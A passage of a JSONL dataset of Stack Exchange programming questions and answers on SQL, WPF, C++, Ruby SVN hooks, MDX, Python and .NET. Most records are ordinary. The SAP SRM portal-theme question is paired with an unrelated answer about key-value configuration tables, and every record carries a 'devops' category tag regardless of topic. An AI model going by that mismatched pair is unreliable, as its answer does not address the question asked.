0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.748634"}
{"id": "hf_9b4828c1d43b", "question": "<p>I want to generate some XML in a stored procedure based on data in a table.</p>\n\n<p>The following insert allows me to add many nodes but they have to be hard-coded or use variables (sql:variable):</p>\n\n<pre><code>SET @MyXml.modify('\n      insert\n         &lt;myNode&gt;\n            {sql:variable(\"@MyVariable\")}\n         &lt;/myNode&gt;\n      into (/root[1]) ') \n</code></pre>\n\n<p>So I could loop through each record in my table, put the values I need into variables and execute the above statement.</p>\n\n<p>But is there a way I can do this by just combining with a select statement and avoiding the loop?</p>\n\n<p><strong>Edit</strong> I have used <code>SELECT FOR XML</code>  to do similar stuff before but I always find it hard to read when working with a hierarchy of data from multiple tables. I was hoping  there would be something using the <code>modify</code> where the XML generated is more explicit and more controllable.</p>\n", "question_body": "", "answer": "Can you tell a bit more about what exactly you are planning to do.\nIs it simply generating XML data based on a content of the table \nor adding some data from the table to an existing xml structure?\nThere are\ngreat series of articles\non the subject on XML in SQLServer written by Jacob Sebastian, it starts with the\nbasics of generating XML from the data in the table", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.798764"}
{"id": "hf_76565f5e35e5", "question": "<p>Under the View-Model-ViewModel pattern for WPF, I am trying to databind the Heights and Widths of various definitions for grid controls, so I can store the values the user sets them to after using a GridSplitter. However, the normal pattern doesn't seem to work for these particular properties.</p>\n\n<p><em>Note: I'm posting this as a reference question that I'm posting as Google failed me and I had to work this out myself. My own answer to follow.</em></p>\n", "question_body": "", "answer": "There were a number of gotchas I discovered:\nAlthough it may appear like a double in XAML, the actual value for a *Definition's Height or Width is a 'GridLength' struct.\nAll the properties of GridLength are readonly, you have to create a new one each time you change it.\nUnlike every other property in WPF, Width and Height don't default their databinding mode to 'TwoWay', you have to manually set this.\nThusly, I used the following code:\n```\n```\nprivate GridLength myHorizontalInputRegionSize = new GridLength(0, GridUnitType.Auto)\npublic GridLength HorizontalInputRegionSize\n{\n    get\n    {\n        // If not yet set, get the starting value from the DataModel\n        if (myHorizontalInputRegionSize.IsAuto)\n            myHorizontalInputRegionSize = new GridLength(ConnectionTabDefaultUIOptions.HorizontalInputRegionSize, GridUnitType.Pixel);\n        return myHorizontalInputRegionSize;\n    }\n    set\n    {\n        myHorizontalInputRegionSize = value;\n        if (ConnectionTabDefaultUIOptions.HorizontalInputRegionSize != myHorizontalInputRegionSize.Value)\n        {\n            // Set the value in the DataModel\n            ConnectionTabDefaultUIOptions.HorizontalInputRegionSize = value.Value;\n        }\n        OnPropertyChanged(\"HorizontalInputRegionSize\");\n    }\n}\n```\n```\nAnd the XAML:\n```\n```\n<Grid.RowDefinitions>\n    <RowDefinition Height=\"*\" MinHeight=\"100\" />\n    <RowDefinition Height=\"Auto\" />\n    <RowDefinition Height=\"{Binding Path=HorizontalInputRegionSize,Mode=TwoWay}\" MinHeight=\"50\" />\n</Grid.RowDefinitions>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.835433"}
{"id": "hf_cb7c8e3b1b07", "question": "<p>I miss it so much (used it a lot in C#). can you do it in C++?</p>\n", "question_body": "", "answer": "Yes, you can. See\nhere\n.\n```\n```\n#pragma region Region_Name\n//Your content.\n#pragma endregion Region_Name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.908208"}
{"id": "hf_709ad36587d4", "question": "<p>Can share with me any of this script?</p>\n", "question_body": "", "answer": "The default one is called commit-email.pl and is included when you install Subversion. But\nhere\nis one in ruby:\n```\n```\n#!/usr/bin/ruby -w\n\n# A Subversion post-commit hook. Edit the configurable stuff below, and\n# copy into your repository's hooks/ directory as \"post-commit\". Don't\n# forget to \"chmod a+x post-commit\".\n\n# ------------------------------------------------------------------------\n\n# You *will* need to change these.\n\naddress=\"FOO@SOME_DOMAIN.com\"\nsendmail=\"/usr/sbin/sendmail\"\nsvnlook=\"/usr/bin/svnlook\"\n\n# ------------------------------------------------------------------------\n\nrequire 'cgi'\n\n# Subversion's commit-email.pl suggests that svnlook might create files.\nDir.chdir(\"/tmp\")\n\n# What revision in what repository?\nrepo = ARGV.shift()\nrev = ARGV.shift()\n\n# Get the overview information.\ninfo=`#{svnlook} info #{repo} -r #{rev}`\ninfo_lines=info.split(\"\\n\")\nauthor=info_lines.shift\ndate=info_lines.shift\ninfo_lines.shift\ncomment=info_lines\n\n# Output the overview.\nbody = \"<p><b>#{author}</b> #{date}</p>\"\nbody << \"<p>\"\ncomment.each { |line|  body << \"#{CGI.escapeHTML(line)}<br/>\\n\" }\nbody << \"</p>\"\nbody << \"<hr noshade>\"\n\n# Get and output the patch.\nchanges=`#{svnlook} diff #{repo} -r #{rev}`\nbody << \"<pre>\"\nchanges.each do |top_line|\n  top_line.split(\"\\n\").each do |line|\n    color = case\n      when line =~ /^Modified: / || line =~ /^=+$/ || line =~ /^@@ /: \"gray\"\n      when line =~ /^-/: \"red\"\n      when line =~ /^\\+/: \"blue\"\n      else \"black\"\n    end\n    body << %Q{<font style=\"color:#{color}\">#{CGI.escapeHTML(line)}</font><br/>\\n}\n end\nend\nbody << \"</pre>\"\n\n# Write the header.\nheader = \"\"\nheader << \"To: #{address}\\n\"\nheader << \"From: #{address}\\n\"\nheader << \"Subject: [SVN] #{repo} revision #{rev}\\n\"\nheader << \"Reply-to: #{address}\\n\"\nheader << \"MIME-Version: 1.0\\n\"\nheader << \"Content-Type: text/html; charset=UTF-8\\n\"\nheader << \"Content-Transfer-Encoding: 8bit\\n\"\nheader << \"\\n\"\n\n# Send the mail.\nbegin\n    fd = open(\"|#{sendmail} #{address}\", \"w\")\n    fd.print(header)\n    fd.print(body)\nrescue\n    exit(1)\nend\nfd.close\n\n# We're done.\nexit(0)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.932393"}
{"id": "hf_cb98dd3f6fd0", "question": "<p>In an OLAP database I work with there is a 'Location' hierarchy consisting of the levels Company, Region, Area, Site, Room, Till. For a particular company I need to write some MDX that lists all regions, areas and sites (but not any levels below Site). Currently I am achieving this with the following MDX</p>\n\n<pre><code>HIERARCHIZE({\n[Location].[Test Company], \nDescendants([Location].[Test Company], [Location].[Region]), \nDescendants([Location].[Test Company], [Location].[Area]), \nDescendants([Location].[Test Company], [Location].[Site])\n})\n</code></pre>\n\n<p>Because my knowledge of MDX is limited, I was wondering if there was a simpler way to do this, with a single command rather that four? Is there a less verbose way of achieveing this, or is my example the only real way of achieving this?</p>\n", "question_body": "", "answer": "The command you want is DESCENDANTS. Keep the 'family tree' analogy in mind, and you can see that this will list the descendants of a member, down as far as you want.\nYou can specify the 'distance' (in levels) from the chosen member, 3 in your case.\nThere are a few weird options you can specify with the third argument, you want SELF_AND_AFTER, see\nhttp://msdn.microsoft.com/en-us/library/ms146075.aspx\nEDIT - oops, as santiiiii noticed, it should be SELF_AND_BEFORE", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.992876"}
{"id": "hf_ab7fa379d194", "question": "<p>I'm expanding my Ruby understanding by coding an equivalent of Kent Beck's xUnit in Ruby.  Python (which Kent writes in) has an assert() method in the language which is used extensively.  Ruby does not.  I think it should be easy to add this but is Kernel the right place to put it?</p>\n\n<p>BTW, <em>I know of the existence of the various Unit frameworks in Ruby</em> - this is an exercise to learn the Ruby idioms, rather than to \"get something done\".</p>\n", "question_body": "", "answer": "What's your reason for adding the assert method to the Kernel module? Why not just use another module called\n```\nAssertions\n```\nor something?\nLike this:\n```\n```\nmodule Assertions\n  def assert(param)\n    # do something with param\n  end\n\n  # define more assertions here\nend\n```\n```\nIf you really need your assertions to be available\neverywhere\ndo something like this:\n```\n```\nclass Object\n  include Assertions\nend\n```\n```\nDisclaimer: I didn't test the code but in principle I would do it like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.029364"}
{"id": "hf_092f596af568", "question": "<p>I'm making a simple jquery command:</p>\n\n<p><code>element.html(\"&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\");</code></p>\n\n<p>using the attributes/html method:  <a href=\"http://docs.jquery.com/Attributes/html\" rel=\"nofollow noreferrer\">http://docs.jquery.com/Attributes/html</a></p>\n\n<p>It works on my local app engine server, but it doesn't work once I push to the Google server. The element empties but doesn't fill with spaces.</p>\n\n<p>So instead of <code>\"      \"</code> <em>(6 spaces)</em> it's just <code>\"\"</code>. </p>\n\n<p>Once again, this is running on App Engine, but I don't think that should matter...</p>\n", "question_body": "", "answer": "Have you tried using\n```\n&nbsp;\n```\ninstead of spaces? The\n```\nhtml()\n```\nmethod just pumps the string into the innerHTML of the element(s).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.066690"}
{"id": "hf_888bdb0e3386", "question": "<p>In SQL, how do update a table, setting a column to a different value for each row?</p>\n\n<p>I want to update some rows in a PostgreSQL database, setting one column to a number from a sequence, where that column has a unique constraint. I hoped that I could just use:</p>\n\n<pre><code>update person set unique_number = (select nextval('number_sequence') );\n</code></pre>\n\n<p>but it seems that <em>nextval</em> is only called once, so the update uses the same number for every row, and I get a 'duplicate key violates unique constraint' error. What should I do instead?</p>\n", "question_body": "", "answer": "Don't use a subselect, rather use the nextval function directly, like this:\n```\n```\nupdate person set unique_number = nextval('number_sequence');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.162603"}
{"id": "hf_59cad43c5f46", "question": "<p>When using IF statements in Python, you have to do the following to make the \"cascade\" work correctly.</p>\n\n<pre><code>if job == \"mechanic\" or job == \"tech\":\n        print \"awesome\"\nelif job == \"tool\" or job == \"rock\":\n        print \"dolt\"\n</code></pre>\n\n<p>Is there a way to make Python accept multiple values when checking for \"equals to\"? For example,</p>\n\n<pre><code>if job == \"mechanic\" or \"tech\":\n    print \"awesome\"\nelif job == \"tool\" or \"rock\":\n    print \"dolt\"\n</code></pre>\n", "question_body": "", "answer": "```\n```\nif job in (\"mechanic\", \"tech\"):\n    print \"awesome\"\nelif job in (\"tool\", \"rock\"):\n    print \"dolt\"\n```\n```\nThe values in parentheses are a tuple. The\n```\nin\n```\noperator checks to see whether the left hand side item occurs somewhere inside the right handle tuple.\nNote that when Python searches a tuple or list using the\n```\nin\n```\noperator, it does a linear search. If you have a large number of items on the right hand side, this could be a performance bottleneck. A larger-scale way of doing this would be to use a\n```\nfrozenset\n```\n:\n```\n```\nAwesomeJobs = frozenset([\"mechanic\", \"tech\", ... lots of others ])\ndef func():\n    if job in AwesomeJobs:\n        print \"awesome\"\n```\n```\nThe use of\n```\nfrozenset\n```\nover\n```\nset\n```\nis preferred if the list of awesome jobs does not need to be changed during the operation of your program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.226022"}
{"id": "hf_3d1c14cd3428", "question": "<p>I'm experimenting with OpenSSL on my network application and I want to test if the data sent is encrypted and can't be seen by eavesdropper.</p>\n\n<p>What tools can you use to check? Could this be done programmatically so it could be placed in a unit test?</p>\n", "question_body": "", "answer": "check out wire shark\nhttp://www.wireshark.org/\nand tcp dump\nhttp://en.wikipedia.org/wiki/Tcpdump\nNot sure about integrating these into unit tests. They will let you look at a very low level whats going on at the network level.\nPerhaps for the unit test determine what the stream looks like unencrypted and make sure the encrypted stream is not similar", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.275504"}
{"id": "hf_fbbea57b0208", "question": "<p>Is the sorting algorithm used by .NET's <code>Array.Sort()</code> method a <a href=\"http://en.wikipedia.org/wiki/Stable_sort#Classification\" rel=\"noreferrer\">stable</a> algorithm?</p>\n", "question_body": "", "answer": "From\nMSDN\n:\nThis implementation performs an unstable sort; that is, if two elements are equal, their order might not be preserved. In contrast, a stable sort preserves the order of elements that are equal.\nThe sort uses introspective sort. (Quicksort in version 4.0 and earlier of the .NET framework).\nIf you need a stable sort, you can use\nEnumerable.OrderBy\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.324516"}
{"id": "hf_a053e0bb9b70", "question": "<p>Should be pretty simple: I have an InputStream where I want to peek at (not read) the first two bytes, i.e. I want the \"current position\" of the InputStream to stil be at 0 after my peeking. What is the best and safest way to do this?</p>\n\n<p><strong>Answer</strong> - As I had suspected, the solution was to wrap it in a BufferedInputStream which offers markability. Thanks Rasmus.</p>\n", "question_body": "", "answer": "For a general InputStream, I would wrap it in a BufferedInputStream and do something like this:\n```\n```\nBufferedInputStream bis = new BufferedInputStream(inputStream);\nbis.mark(2);\nint byte1 = bis.read();\nint byte2 = bis.read();\nbis.reset();\n// note: you must continue using the BufferedInputStream instead of the inputStream\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.435733"}
{"id": "hf_20d2c00eea18", "question": "<p>I've been searching and can't find the download files on opengl.org. can someone please point me to the right direction?</p>\n", "question_body": "", "answer": "OpenGL is just a standard. The implementations come with your graphics card drivers and are exposed using WGL extensions in Windows. There is a 'standard' implementation in the platform SDK that is accessed by including the OpenGL headers and the windows header, but this is a basic version (1.1 in XP. I think it's 1.4 in Vista).\nIf you want an easier method to gain access to all the features from your card's supported features and the basic set of features in the Windows standard OpenGL implementation then I'd suggest looking at GLEW (The openGL Extension Wrangler) which handles all the WGL calls to set up extensions for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.534990"}
{"id": "hf_8caf57fbe2b3", "question": "<p>C++ preprocessor <code>#define</code> is totally different.</p>\n\n<p>Is the PHP <code>define()</code> any different than just creating a var?</p>\n\n<pre><code>define(\"SETTING\", 0);  \n$something = SETTING;\n</code></pre>\n\n<p>vs</p>\n\n<pre><code>$setting = 0;  \n$something = $setting;\n</code></pre>\n", "question_body": "", "answer": "Here are the differences, from the\nmanual\nConstants do not have a dollar sign    ($) before them;\nConstants may only be defined using the define() function, not by simple assignment;\nConstants may be defined and accessed anywhere without regard to variable scoping rules;\nConstants may not be redefined or undefined once they have been set; and\nConstants may only evaluate to scalar values.\nFor me, the main benefit is the global scope. I certainly don't worry about their efficiency - use them whenever you need a global scalar value which should not be alterable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.559351"}
{"id": "hf_1de247ada8e5", "question": "<p>Microsoft <a href=\"http://weblogs.asp.net/scottgu/archive/2008/09/28/jquery-and-microsoft.aspx\" rel=\"nofollow noreferrer\">recently announced</a> that the Javascript/HTML DOM library <strong>jQuery will be integrated</strong> into the ASP.NET MVC framework and into ASP.NET / Visual Studio.</p>\n\n<p>What is the best practice or strategy adopting jQuery using <strong>ASP.NET 2.0</strong>? I'd like to prepare a large, existing ASP.NET Web Application (<strong>not</strong> MVC) for jQuery. How would I deal with versioning and related issues?</p>\n\n<p>Are the any caveats integrating jQuery and <strong>ASP.NET Ajax</strong>? Or <strong>3rd party components</strong> like Telerik or Intersoft controls?</p>\n", "question_body": "", "answer": "There's a small issue which is mentioned by David Ward here:\nhttp://encosia.com/2008/09/28/avoid-this-tricky-conflict-between-aspnet-ajax-and-jquery/\nBut there should not be any major concerns about integrating jQuery into an existing application, you wouldn't notice major advantages unless you're planning a lot of updating/ reworking of existing code to take advantages of jQuerys power.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.596881"}
{"id": "hf_79e269ef10d1", "question": "<p>last time I asked how to populate a data structure <a href=\"https://stackoverflow.com/questions/144474/java-arrays-vectors\">here</a>. Now I would like to know if there's something in Java, like the <a href=\"http://www.php.net/print_r\" rel=\"nofollow noreferrer\">print_r</a> I use in PHP, to represent what I have populated in the Maps and lists without having to do my own algorithm.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Calling\n```\ntoString\n```\non the collection should return a string containing all the elements string representations.\nThis won't work with built-in arrays though, as they don't have a\n```\ntoString\n```\noverride and will just give you a memory address.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.634567"}
{"id": "hf_b1e518d5f5ab", "question": "<p>Background:\nI am developing a site in Asp.net 2.0 . Up until now i was handling both the design and development of the site. I used css for the design part.\nNow the company wants to outsource the design work to a web designer.   </p>\n\n<p>Question:\nHow exactly are a designer and developer supposed to coordinate \nWhat specifications should i give to the web designer, Do i need to provide him with the aspx pages i have developed, does he also need to look at the code behind. </p>\n\n<p>And how do i incorporate the designed pages in the existing aspx pages.</p>\n\n<p>I would appreciate if someone who is experienced in this provides some insight</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "How will the designer deliver their designs? Will they just provide the necessary graphic elements or will they deliver a valid HTML page? I would suggest you both agree on the DOM for the page and work from there.If they just provide graphics you have full control of the DOM.\nThe code behind model for .Net was supposed to help separate design and development but IMHO nothing has yet managed a perfect separation because you can't always make a 100% distinction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.659497"}
{"id": "hf_c2b84d37de74", "question": "<p>Suppose I have one long long int and want to take its bits and construct four unsigned short ints out of it.</p>\n\n<p>Particular order doesn't matter much here.</p>\n\n<p>I generally know that I need to shift bits and truncate to the size of unsigned short int.  But I think I may make some weird mistake somewhere, so I ask.</p>\n", "question_body": "", "answer": "```\n```\n#include <stdint.h>\n#include <stdio.h>\n\nunion ui64 {\n    uint64_t one;\n    uint16_t four[4];\n};\n\nint\nmain()\n{\n    union ui64 number = {0x123456789abcdef0};\n    printf(\"%x %x %x %x\\n\", number.four[0], number.four[1],\n                            number.four[2], number.four[3]);\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.684128"}
{"id": "hf_66fa099ee035", "question": "<p>I am am trying to load a SQL table from a flat file. The flat i am talking about is a comma separated file. This has all the data required to populate a table will each column separated by a comma \",\". I need some way by which i can load this content into the table faster.</p>\n", "question_body": "", "answer": "If you are using SQL Server, use\n```\nBULK INSERT\n```\nIf you are using Oracle, see my answer\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.708616"}
{"id": "hf_cc2480d1e928", "question": "<p>My favorite equation for centering an xhtml element using only CSS is as follows:</p>\n\n<pre><code>display: block;\nposition: absolute;\nwidth: _insert width here_;\nleft: 50%;\nmargin-left: _insert width divided by two &amp; multiplied by negative one here_\n</code></pre>\n\n<p>There's also the simpler margin:auto method in browsers that support it. Does anyone else have tricky ways to force content to display centered in its container? (bonus points for vertical centering)</p>\n\n<p>edit - oops, forgot the 'negative' part of one in the margin-left. fixed.</p>\n", "question_body": "", "answer": "Well that seems like massive overkill, I've got to say. I tend to set the container to\n```\ntext-align:center;\n```\nfor old browsers,\n```\nmargin:auto;\n```\nfor modern browsers, and leave it like that. Then reset text-align in the element (if it contains text).\nOf course, some things need setting as block, and widths need setting... But what on earth are you trying to style that needs\nthat\nmuch hacking around?\n```\n```\n<div style=\"text-align:center\">\n     <div style=\"width:30px; margin:auto; text-align:left\">\n         <!-- this div is sitting in the middle of the other -->\n     </div>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.747658"}
{"id": "hf_bded0eb9ffd6", "question": "<p>In Oracle, I have set the <code>log_archive_dest1='D:\\app\\administrator\\orcl\\archive'</code> parameter and shutdown the database. When I tried to start up the db, I got the following error:</p>\n\n<pre><code>SQL&gt; startup mount;\n\nORA-16032: parameter LOG_ARCHIVE_DEST_1 destination string cannot be translated\n\nORA-09291: sksachk: invalid device specified for archive destination\n\nOSD-04018: Unable to access the specified directory or device.\n\nO/S-Error: (OS 3) The system cannot find the path specified.\n</code></pre>\n\n<p>Does anyone have any ideas of how I might fix this?</p>\n", "question_body": "", "answer": "I've never used Oracle but some things you might try are\nMake sure the permissions on the file path you're using allow the database to read / write to it?\nMake sure all the folders in the path already exist\nOn Windows you might find the '\\' characters confuse the database. Do you specify other paths in the same way for Oracle? An alternative may be to use '/' instead of '\\'. Different programs that originated in the Unix world handle Windows paths in different ways", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.771404"}
{"id": "hf_e3994fd21566", "question": "<p>I have integrated SRM 5.0 into Portal. Most of the iviews are IAC i.e., all are ITS based services.</p>\n<p>The issue is that the Portal Theme does not get reflected on these services after integration.</p>\n<p>When a BSP or Webdynpro is integrated then the application reflects the Portal Theme when executed from Portal but the ITS services are not getting this.</p>\n<p>I tried using SE80 and editing EBPApplication.css. In BBPGLOBAL i changed all color attributes to custom colour but no effect.</p>\n<p>Whch property should i change to remove the blue colour.</p>\n", "question_body": "", "answer": "The key value pair table, but with everything is stored as a string and with another column (if necessary) saying which type should the value be casted to.\n```\n```\nCREATE TABLE configKVP(clientId int, key varchar, value varchar, type varchar)\n```\n```\nIf the value cannot be casted to the type, then you know it's a misconfiguration and there's no ambiguity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.870898"}
{"id": "hf_8df2f42ad052", "question": "<p>I want to be able to access custom URLs with apache httpclient. Something like this:</p>\n\n<pre><code>HttpClient client = new HttpClient();\nHttpMethod method = new GetMethod(\"media:///squishy.jpg\");\nint statusCode = client.executeMethod(method);\n</code></pre>\n\n<p>Can I somehow register a custom URL handler? Or should I just register one with Java, using</p>\n\n<pre><code>URL.setURLStreamHandlerFactory(...)\n</code></pre>\n\n<p>Regards.</p>\n", "question_body": "", "answer": "I don't think there's a way to do this in commons httpclient. It doesn't make a whole lot of sense either, after all it is a HTTP client and \"media:///squishy.jpg\" is not HTTP, so all the code to implement the HTTP protocol probably couldn't be used anyways.\n```\n```\nURL.setURLStreamHandlerFactory(...)\n```\n```\ncould be the way to go, but you'll probably have to do a lot of protocol coding by hand, depending on your \"media\"-protocol.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.907030"}
{"id": "hf_a340cf04e7cd", "question": "<p>I have a interest in a <a href=\"http://support.microsoft.com/kb/941132/en-us\" rel=\"nofollow noreferrer\">reported bug</a> which Microsoft have made available a hotfix for. When looking on the site, I'm not able to figure out if this fix is included in a service pack or not. Do anyone know where I can find this out?</p>\n", "question_body": "", "answer": "You didn't mention your product but:\nList of fixes in Service Pack 1 for XP:\nhttp://support.microsoft.com/kb/324720\nList of fixes in Service Pack 2 for XP:\nhttp://support.microsoft.com/kb/811113\nList of fixes in Service Pack 3 for XP:\nhttp://support.microsoft.com/kb/946480\nList of fixes in Service Pack 1 for Vista:\nhttp://technet.microsoft.com/en-us/library/cc749061.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.943604"}
{"id": "hf_ea58dfabbc35", "question": "<p>I wrote a sample program at <a href=\"http://codepad.org/ko8vVCDF\" rel=\"noreferrer\">http://codepad.org/ko8vVCDF</a> that uses a template function.</p>\n\n<p>How do I retrict the template function to only use numbers? (int, double etc.)</p>\n\n<pre><code>#include &lt;vector&gt;\n#include &lt;iostream&gt;\n\nusing namespace std;\n\n    template &lt;typename T&gt;\nT sum(vector&lt;T&gt;&amp; a)\n{\n    T result = 0;\n    int size = a.size();\n    for(int i = 0; i &lt; size; i++)\n    {\n        result += a[i];\n    }\n\n    return result;\n}\n\nint main()\n{\n    vector&lt;int&gt; int_values;\n    int_values.push_back(2);\n    int_values.push_back(3);\n    cout &lt;&lt; \"Integer: \" &lt;&lt; sum(int_values) &lt;&lt; endl;\n\n    vector&lt;double&gt; double_values;\n    double_values.push_back(1.5);\n    double_values.push_back(2.1);\n    cout &lt;&lt; \"Double: \" &lt;&lt; sum(double_values);\n\n    return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "Why would you want to restrict the types in this case? Templates allow \"static duck typing\", so anything allowed by what your\n```\nsum\n```\nfunction in this case should be allowed. Specifically, the only operation required of\n```\nT\n```\nis add-assignment and initialisation by 0, so any type that supports those two operations would work. That's the beauty of templates.\n(If you changed your initialiser to\n```\nT result = T();\n```\nor the like, then it would work for both numbers and strings, too.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:50.978686"}
{"id": "hf_122f4555756c", "question": "<p>Is it possible to convert UTF8 string in a std::string to std::wstring and vice versa in a platform independent manner? In a Windows application I would use MultiByteToWideChar and WideCharToMultiByte. However, the code is compiled for multiple OSes and I'm limited to standard C++ library.</p>\n", "question_body": "", "answer": "You can use the\n```\ncodecvt\n```\nlocale facet\n. There's a specific specialisation defined,\n```\ncodecvt<wchar_t, char, mbstate_t>\n```\nthat may be of use to you, although, the behaviour of that is system-specific, and does not guarantee conversion to UTF-8 in any way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:51.042244"}
